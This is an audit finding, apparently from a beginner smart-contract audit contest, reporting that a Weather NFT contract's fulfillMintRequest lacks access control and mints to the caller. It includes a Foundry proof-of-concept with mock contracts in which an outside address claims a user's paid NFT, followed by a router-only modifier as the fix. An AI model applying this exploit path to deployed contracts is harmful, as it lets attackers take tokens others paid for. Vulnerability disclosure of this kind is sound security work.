Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Insecure fulfillMintRequest Allows Arbitrary Minting

Description

The function fulfillMintRequest is intended to be called by the Chainlink Functions router after off-chain computation completes, to mint a Weather NFT for the user who paid the mint fee. However, it is declared external with no access control, and it incorrectly uses msg.sender as the recipient of the minted token.

Vulnerability Details

Missing access restriction in fulfillMintRequest. Any account can invoke this function with a valid requestId; there is no guard (e.g., onlyOwner or onlyFunctionsRouter) to restrict calls to the Chainlink router.

Incorrect Recipient (msg.sender)
Inside the function, the contract does:

emit WeatherNFTMinted(requestId, msg.sender, Weather(weather));
_mint(msg.sender, tokenId);

Here, msg.sender refers to the caller of fulfillMintRequest, not the original minter stored in s_funcReqIdToUserMintReq[requestId].user.

Mapping Lookup Not Used for Minting
Although the contract stores the original minter in s_funcReqIdToUserMintReq[requestId].user, that stored address is never used for _mint

Impact

  • Unauthorized Minting:
    An attacker can guess or intercept a valid requestId and call fulfillMintRequest, minting the NFT into their own wallet without paying.

  • Revenue Loss and Dilution:
    Legitimate users lose their token or pay fees for nothing; total supply increases, undermining trust and token economics.

Proof of Concept

User Mint Request

The contract emits WeatherNFTMintRequestSent and stores s_funcReqIdToUserMintReq[reqId].user = user.

Attacker called fullfiler captures reqId.

Attacker calls fulfillMintRequest.

Because there is no access check, fulfiller is allowed.

Inside, msg.sender == fullfiler, so _mint(fullfiler, tokenId) is executed.

fullfiler receives the NFT without ever paying.

Proof of Code

For test purposes, we need to modify the WeatherNft::_sendFunctionsWeatherFetchRequest function, making it virtual.
Important Note: This is made only for test purposes and should not be used in production.
Remember to revert the changes after testing.

- function _sendFunctionsWeatherFetchRequest(...) internal returns (...)
+ function _sendFunctionsWeatherFetchRequest(...) internal virtual returns (...)

Use mocks to create a fully self-contained testing environment that avoids any live Chainlink deployments. The MockLinkToken stands in for the real LINK token so your contract can receive, approve and spend LINK without a live ERC-20. The MockWeatherNft extends your real NFT contract to override external oracle calls and keeper logic, giving you a fixed request ID, a way to inject simulated oracle responses, and a controlled upkeep flow.

Testing Note: The MockLinkToken contract simulates an ERC-20 LINK token by using native ETH balances. Instead of minting LINK tokens, ETH is assigned to the mock and treated as LINK to satisfy subscription-payment logic without requiring a real LINK deployment. This simplification enables focus on NFT minting, upkeeps, and oracle behaviors without managing a separate ERC-20 token.

Add this mock contracts to two new test files:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
/// @notice Mock LINK token implementing minimal ERC20 + transferAndCall
contract MockLinkToken is LinkTokenInterface {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public totalSupply;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
totalSupply += amount;
}
function transfer(address to, uint256 amt) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function approve(address spender, uint256 amt) external override returns (bool) {
allowance[msg.sender][spender] = amt;
return true;
}
function transferFrom(address from, address to, uint256 amt) external override returns (bool) {
require(balanceOf[from] >= amt, "MockLink: insufficient");
if (from != msg.sender) {
require(allowance[from][msg.sender] >= amt, "MockLink: not allowed");
allowance[from][msg.sender] -= amt;
}
balanceOf[from] -= amt;
balanceOf[to] += amt;
return true;
}
function transferAndCall(address to, uint256 amt, bytes calldata) external override returns (bool) {
require(balanceOf[msg.sender] >= amt, "MockLink: insufficient");
balanceOf[msg.sender] -= amt;
balanceOf[to] += amt;
return true;
}
function decimals() external pure override returns (uint8) {
return 18;
}
function name() external pure override returns (string memory) {
return "MockLINK";
}
function symbol() external pure override returns (string memory) {
return "LINK";
}
function decreaseApproval(address spender, uint256 addedValue) external override returns (bool) {
uint256 old = allowance[msg.sender][spender];
if (addedValue >= old) {
allowance[msg.sender][spender] = 0;
} else {
allowance[msg.sender][spender] = old - addedValue;
}
return true;
}
function increaseApproval(address spender, uint256 subtractedValue) external override {
allowance[msg.sender][spender] += subtractedValue;
}
}
/// @notice Mock WeatherNft overriding the Functions request to return a fixed requestId
contract MockWeatherNft is WeatherNft {
bytes32 public constant FIXED_REQ = keccak256("MOCK_REQ");
constructor(
WeatherNftStore.Weather[] memory weathers,
string[] memory uris,
address functionsRouter,
WeatherNftStore.FunctionsConfig memory cfg,
uint256 mintPrice,
uint256 step,
address link,
address keeperRegistry,
address keeperRegistrar,
uint32 upkeepGaslimit
) WeatherNft(
weathers,
uris,
functionsRouter,
cfg,
mintPrice,
step,
link,
keeperRegistry,
keeperRegistrar,
upkeepGaslimit
) {}
function _sendFunctionsWeatherFetchRequest(
string memory,
string memory
) internal pure override returns (bytes32) {
return FIXED_REQ;
}
function simulateOracleResponse(
bytes32 reqId,
bytes memory resp,
bytes memory err
) public {
fulfillRequest(reqId, resp, err);
}

Then, add this test environment to a new test file to test the vulnerability:

import {Test, console2} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {WeatherNftStore} from "src/WeatherNftStore.sol";
import {MockLinkToken, MockWeatherNft} from "test/mocks/MockContracts.t.sol";
contract WeatherNftUnitTest is Test {
MockLinkToken public linkToken;
MockWeatherNft public weatherNft;
address public user;
address public functionsRouter = address(0x1234);
uint256 constant HEARTBEAT = 60;
uint256 constant LINK_PER_KEEP = 0.1 ether;
function setUp() public {
// 1) Deploy mock LINK
linkToken = new MockLinkToken();
// 2) Prepare Weather enum array and URIs
WeatherNftStore.Weather[] memory weathers = new WeatherNftStore.Weather[](1);
weathers[0] = WeatherNftStore.Weather.SUNNY;
string[] memory uris = new string[](1);
uris[0] = "ipfs://dummy";
// 3) Configure Chainlink Functions
WeatherNftStore.FunctionsConfig memory cfg = WeatherNftStore.FunctionsConfig({
source: "",
encryptedSecretsURL: "",
subId: 0,
gasLimit: 200_000,
donId: bytes32(0)
});
// 4) Deploy MockWeatherNft pointing to our mocks
weatherNft = new MockWeatherNft(
weathers,
uris,
functionsRouter,
cfg,
/* mintPrice= */ 1 ether,
/* step= */ 0.1 ether,
address(linkToken),
/* keeperRegistry= */ address(0),
/* keeperRegistrar=*/ address(0),
/* upkeepGaslimit= */ 200_000
);
// 5) Fund user
user = makeAddr("user");
vm.deal(user, 10 ether);
linkToken.mint(user, 1000 ether);
}
function test_UserCanFulfillWithoutRequest() public {
uint256 actualPrice = weatherNft.s_currentMintPrice();
vm.startPrank(user);
bytes32 reqId = weatherNft.requestMintWeatherNFT{ value: actualPrice }(
"28001", "ES", false, 0, 0
);
weatherNft.simulateOracleResponse(
reqId,
abi.encode(uint8(WeatherNftStore.Weather.SUNNY)),
""
);
vm.stopPrank();
address fulfiller = makeAddr("fulfiller");
vm.prank(fulfiller);
weatherNft.fulfillMintRequest(reqId);
console2.log("Fulfiller nft balance", weatherNft.balanceOf(fulfiller));
}

Recommendations

Restrict Access

Allow only the Chainlink router contract to call fulfillMintRequest:

Add address private immutable i_functionsRouter; to WeatherNftStore, initialize it in the WeatherNft contract constructor and then apply this modifier to fulfillMintRequest in WeatherNft:

+ modifier onlyFunctionsRouter() {
+ require(msg.sender == i_functionsRouter, "Unauthorized");
+ _;
+ }
function fulfillMintRequest(bytes32 requestId)
external
+ onlyFunctionsRouter
{}
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.